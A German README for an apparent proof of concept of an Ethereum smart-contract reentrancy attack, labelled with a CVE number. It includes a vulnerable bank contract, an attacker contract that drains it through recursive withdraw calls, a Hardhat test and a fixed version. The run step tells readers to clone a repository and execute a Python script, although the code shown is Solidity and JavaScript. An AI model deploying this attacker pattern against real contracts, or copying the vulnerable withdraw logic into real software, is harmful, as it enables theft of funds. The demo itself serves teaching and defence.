
POC für Smart Contract Reentrancy-Angriff-Schwachstelle
Smart Contract Reentrancy-Angriff-Schwachstelle Verifikation
Dieses Repository enthält einen Proof of Concept (PoC), der eine Reentrancy-Angriff-Schwachstelle in Ethereum-Smart-Contracts demonstriert. Der PoC umfasst einen angreifbaren Smart Contract, einen Angreifer-Contract und Anweisungen zur Reproduktion des Angriffs in einer lokalen Testumgebung.
Reentrancy ist eine häufige Schwachstelle in Ethereum-Smart-Contracts, bei der ein externer Contract wiederholte Aufrufe an den ursprünglichen Contract durchführen kann, bevor der erste Aufruf abgeschlossen ist. Dies kann zum Abziehen von Geldern oder zur Manipulation des Zustands führen. Dieser PoC zeigt, wie ein Angreifer einen angreifbaren Contract ausnutzen kann, um Ether zu stehlen.
Der angreifbare Contract (VulnerableBank) ermöglicht es Benutzern, Ether einzuzahlen und abzuheben. Allerdings aktualisiert er den Zustand nicht ordnungsgemäß, bevor er externe Aufrufe tätigt, was ihn anfällig für Reentrancy macht. Der Angreifer-Contract (Attacker) nutzt dies aus, indem er rekursiv die withdraw-Funktion aufruft, um den Ether-Bestand des Contracts zu leeren.
withdraw-Funktion in VulnerableBank sendet Ether an den Aufrufer, bevor der Kontostand aktualisiert wird.withdraw aufzurufen und so die Gelder des Contracts abzuziehen.Um diesen PoC auszuführen, benötigen Sie:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
Nachfolgend sind die beiden Contracts aufgeführt, die in diesem PoC verwendet werden:
Dieser Contract simuliert eine einfache Bank, die Ein- und Auszahlungen erlaubt, aber anfällig für Reentrancy ist.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Dieser Contract nutzt die Reentrancy-Schwachstelle aus, indem er rekursiv die withdraw-Funktion aufruft.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Ein Hardhat-Testskript ist enthalten, um die Angriffssimulation zu automatisieren.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Um Reentrancy-Angriffe zu verhindern, sollten Sie die folgenden Best Practices beachten:
ReentrancyGuard), um rekursive Aufrufe zu verhindern.transfer oder send verwenden: Diese Methoden begrenzen das Gas und verringern so das Risiko von Reentrancy.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.